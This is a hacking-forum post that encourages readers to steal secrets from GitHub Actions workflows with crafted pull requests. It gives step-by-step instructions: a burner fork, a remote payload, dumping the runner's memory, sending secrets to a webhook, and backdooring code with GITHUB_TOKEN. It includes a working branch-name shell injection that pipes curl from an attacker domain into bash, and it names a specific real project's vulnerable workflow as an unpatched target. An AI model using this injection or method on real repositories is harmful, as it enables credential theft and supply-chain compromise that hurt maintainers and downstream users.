[d3lirium]

I have not seen much about this topic on BF, but a lot of information about it online. People can gain a lot by using this stuff.

Grab Secrets, Credentials (to the cloud and more), Access from GitHub using Pull Requests

There are a number of techniques that you can use on GitHub that involve making a carefully crafted pull request that will send you the secrets it uses. This can be access tokens to PyPI, NPM, the Cloud, or other GitHub credentials.

What you do is:

1. Use the tools to find potential vulns
2. Use a burner/throwaway account to fork the repository
3. Use a payload in a Gist or other site and run it within a workflow that has secrets
4. Dump the runner's memory using a commonly available payload (see the Wiki of tools), send secrets to webhook
5. Profit - you can use the secrets, or use the GITHUB_TOKEN to backdoor code

There are hundreds of projects that you can do this with. This is a goldmine. So much untapped potential with these exploits. Some are injection, some you modify a shell/python script to run code. The resources cover it all - this post is simply to say "hey shit this works, get on it, or miss out on it."

Example, inject via branch name:

The code below is from ultralytics/actions used in ultralytics/ultralytics github repo. This is an 0-day, devs don't give a fuck - they just use ChatGpt to write their github actions and it's full of shitty bugs. You can inject code with a branch name that looks like:

$({curl,-sSfL,yourdomain}${IFS}|${IFS}bash})

This is because head_ref is the branch name, and that's just a simple shell injection.

run: |
        git config --global user.name "${{ inputs.github_username }}"
        git config --global user.email "${{ inputs.github_email }}"
        git pull origin ${{ github.head_ref || github.ref }}
        git add .

Use the secret you get for fun/profit/learning/whatever.

Tools (search them online)

* Poutine BoostSecurity
* Octoscan Synactiv
* Gato-X GitHub Attack Toolkit
* RAVEN Cycode

Resources

* Boost security Living-off-the-pipeline
* GitHub's own Pwn Request blog
* DEF CON / Black Hat talks